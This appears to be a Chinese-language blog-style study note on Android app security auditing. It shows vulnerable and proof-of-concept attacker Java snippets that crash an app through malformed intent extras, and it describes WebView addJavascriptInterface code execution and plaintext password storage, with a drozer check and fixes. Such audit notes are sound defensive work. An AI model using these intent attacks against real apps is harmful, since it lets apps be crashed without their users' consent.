IndexOutOfBoundsException异常导致的拒绝服务:
源于程序没有对 getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃。
漏洞应用代码片段:
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra(“user_id”);
if (intArray != null) {
for (int i = 0; i < USER_NUM; i++) {
intArray.get(i);
} }
攻击应用代码片段:
Intent intent = new Intent();
intent.setClassName(“com.alibaba.jaq.pocforrefuseservice”,
“com.alibaba.jaq.pocforrefuseservice.MainActivity”);
ArrayList<Integer> user_id = new ArrayList<Integer>();
intent.putExtra(“user_id”, user_id);
startActivity(intent);
)
ClassNotFoundException异常导致的拒绝服务
源于程序没有无法找到从 getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
漏洞应用代码片段:
Intent i = getIntent();
i.getSerializableExtra(“serializable_key”);
攻击应用代码片段:
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent i = new Intent();
i.setClassName(“com.alibaba.jaq.pocforrefuseservice”,
“com.alibaba.jaq.pocforrefuseservice.MainActivity”);
i.putExtra(“serializable_key”, new SelfSerializableData());
startActivity(i);
}
static class SelfSerializableData implements Serializable {
private static final long serialVersionUID = 42L;
public SelfSerializableData() {
super();
} }
java我几乎不了解,这里先作记录,以后接触java代码审计的时候再来填坑。
webview 组件安全:
Android 4.2 版本以下的 webview 组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。检查应用 AndroidManifest.xml 中的 targetSdkVersion是否大于等于 17。
WebView 代码执行检测:
android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强 JavaScript 的功能。但是系统并没有对注册 Java 类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何 Java 类,最终导致 JavaScript 能力的无限增强。攻击者利用该漏洞可以根据客户端执行任意代码。
Webview代码执行漏洞出现在安卓2.1~4.3.1版本,检查targetSdkVersion 、minSdkVersion(MobSF)。
若 targetsdkVersion>=19 或通过 minSdkVersion 进行限制则无此问题,否则在低版本上测试,(可使用相关检测代码),检查代码中是否使用 addJavascriptInterface()。
drozer测试:
run scanner.misc.checkjavascriptbridge -a 包名
模块安装参考:
WebView 密码明文保存检测:
在使用 WebView 的过程中忽略了 WebView setSavePassword,当用户选择保存在WebView中输入的用户名和密码,则会被明文保存到应用数据目录的databases/webview.db 中。如果手机被 root 就可以获取明文保存的密码,造成用户的个人敏感数据泄露。

搜”setSavePassword”,看是否显式设置为 false(在 webview 组件代码中测试)
修复建议:
使用WebView.getSettings().setSavePassword(false)来禁止保存密码
相关资源:倍速软件,可以加速观看过程_倍速播放学习-图像处理工具类资源…
声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!